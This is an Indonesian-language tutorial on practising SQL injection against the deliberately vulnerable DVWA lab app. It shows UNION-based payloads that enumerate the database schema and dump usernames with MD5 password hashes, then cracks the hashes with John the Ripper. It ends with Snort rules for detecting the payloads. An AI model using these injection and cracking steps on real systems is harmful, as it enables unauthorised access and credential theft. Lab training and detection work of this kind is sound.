DVWA: perintah SQL di server DVWA
Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Untuk bisa mengerti dengan jelas, ada baiknya tidak melakukannya melalui interface web tapi coba login dan menuliskan perintah SQL di console MySQL menggunakan command line. Dari situ akan lebih mudah membayangkan bagaimana SQL Injection bekerja.
Langkah untuk mempelajari ini tidak terlalu sulit
- Login ke mesin server yang kita instalasi DVWA
- menjadi super user, menggunakan perintah
sudo su
- Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah
mysql -u root -p123456
Jika berhasil dengan baik maka akan keluar
mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 4 Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
- Untuk berlatih kita perlu menggunakan database dvwa, ketik perintah
use dvwa
Kita sudah siap untuk belajar / memlihat apa yang terjadi jika kita latihan SQL Injection. Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah
SELECT first_name, last_name FROM users WHERE user_ID = '$id';
Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main dengan MySQL secara manual tanpa melakukan injection.
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_ID = '1';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+ 1 row in set (0,00 sec)
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_ID = '2';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | Gordon | Brown | +------------+-----------+ 1 row in set (0,00 sec)
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+ 5 rows in set (0,00 sec)
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+ 5 rows in set (0,01 sec)
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #';
Keluar
+------------+-------------------------+ | first_name | last_name | +------------+-------------------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | 5.7.17-0ubuntu0.16.04.1 | +------------+-------------------------+ 6 rows in set (0,00 sec)
Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1
Masukan perintah,
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';
Keluar
+------------+----------------+ | first_name | last_name | +------------+----------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | root@localhost | +------------+----------------+ 6 rows in set (0,00 sec)
akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | dvwa | +------------+-----------+ 6 rows in set (0,00 sec)
akan keluar nama database yang digunakan, yaitu dvwa
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';
Keluar
+------------+------------------------------------------------------+ | first_name | last_name | +------------+------------------------------------------------------+ | NULL | CHARACTER_SETS | | NULL | COLLATIONS | | NULL | COLLATION_CHARACTER_SET_APPLICABILITY | | NULL | COLUMNS | .. .. .. | NULL | x$wait_classes_global_by_avg_latency | | NULL | x$wait_classes_global_by_latency | | NULL | x$waits_by_host_by_latency | | NULL | x$waits_by_user_by_latency | | NULL | x$waits_global_by_latency | +------------+------------------------------------------------------+ 275 rows in set (0,01 sec)
Dimana
- CHARACTER_SETS
- COLLATIONS
- COLLATION_CHARACTER_SET_APPLICABILITY
adalah INFORMATION SCHEMA table name. INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi tentang database yang di maintain oleh MySQL.
Untuk mencek apakah ada tabel user di salah satu database, masukan perintah,
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#';
Akan keluar
+------------+-----------------------------------+ | first_name | last_name | +------------+-----------------------------------+ | NULL | USER_PRIVILEGES | | NULL | users | | NULL | user | | NULL | user_variables_by_thread | | NULL | user_summary | | NULL | user_summary_by_file_io | | NULL | user_summary_by_file_io_type | | NULL | user_summary_by_stages | | NULL | user_summary_by_statement_latency | | NULL | user_summary_by_statement_type | +------------+-----------------------------------+ 10 rows in set (0,00 sec)
Akan terlihat ada beberapa tabel user, yang menarik buat kita adalah tabel users yang kemungkinan besar berisi password.
Untuk melihat struktur data dalam tabel users, kita bisa memasukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #';
Akan keluar,
+------------+---------------------------+ | first_name | last_name | +------------+---------------------------+ | NULL | users user_id | | NULL | users first_name | | NULL | users last_name | | NULL | users user | | NULL | users password | | NULL | users avatar | | NULL | users last_login | | NULL | users failed_login | | NULL | users CURRENT_CONNECTIONS | | NULL | users TOTAL_CONNECTIONS | +------------+---------------------------+ 10 rows in set (0,01 sec)
Terlihat struktur data tabel users, ada user_ud, first_name, last_name, user, password, avatar, last_login, failed_login, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS. Tentu saja kita tertarik untuk melihat isi kolom password, walaupun di hash.
Untuk melihat isi kolom password, masukan perintah,
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #';
Akan keluar
+------------+-------------------------------------------------------+ | first_name | last_name | +------------+-------------------------------------------------------+ | NULL | admin admin admin 5f4dcc3b5aa765d61d8327deb882cf99 | | NULL | Gordon Brown gordonb e99a18c428cb38d5f260853678922e03 | | NULL | Hack Me 1337 8d3533d75ae2c3966d7e0d4fcc69216b | | NULL | Pablo Picasso pablo 0d107d09f5bbe40cade3de5c71e9e9b7 | | NULL | Bob Smith smithy 5f4dcc3b5aa765d61d8327deb882cf99 | +------------+-------------------------------------------------------+ 5 rows in set (0,00 sec)
Terlihat first name, lastname, username dan password yang di hash.
Masukan kedalam sebuah file text, misalnya dvwa_password.txt, isinya adalah username:password yang di hash untuk bisa di crack menggunakan john the ripper. Pastikan tidak ada spasi dll dari ujung ke ujung setiap line supaya bisa di parsing oleh john.
admin:5f4dcc3b5aa765d61d8327deb882cf99 gordonb:e99a18c428cb38d5f260853678922e03 1337:8d3533d75ae2c3966d7e0d4fcc69216b pablo:0d107d09f5bbe40cade3de5c71e9e9b7 smithy:5f4dcc3b5aa765d61d8327deb882cf99
Coba di password yang di hash menggunakan MD5 crack misalnya menggunakan perintah john the ripper berikut
di backtrack kemungkinan ada di
cd /pentest/passwords/john ./john --format=raw-MD5 dvwa_password.txt
di kali linux
/usr/sbin/john --format=raw-MD5 dvwa_password.txt
hasilnya kira-kira,
Using default input encoding: UTF-8 Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status password (admin) password (smithy) abc123 (gordonb) letmein (pablo) charley (1337) 5g 0:00:00:01 DONE 3/3 (2017-03-17 08:33) 2.732g/s 99292p/s 99292c/s 107714C/s charlie..charies Use the "--show" option to display all of the cracked passwords reliably Session completed
Snort Rules untuk Mendeteksi
Beberapa alternatif snort local.rules untuk mendeteksi
alert tcp any any -> 192.168.0.100 80 (msg:"union"; content:"union"; nocase; classtype:web-application-attack; sid:1000033;) alert tcp any any -> 192.168.0.100 80 (msg:"union select"; content:"union+select"; nocase; classtype:web-application-attack; sid:1000034;) alert tcp any any -> 192.168.0.100 80 (msg:"information_schema"; content:"information_schema"; nocase; classtype:web-application-attack; sid:1000035;)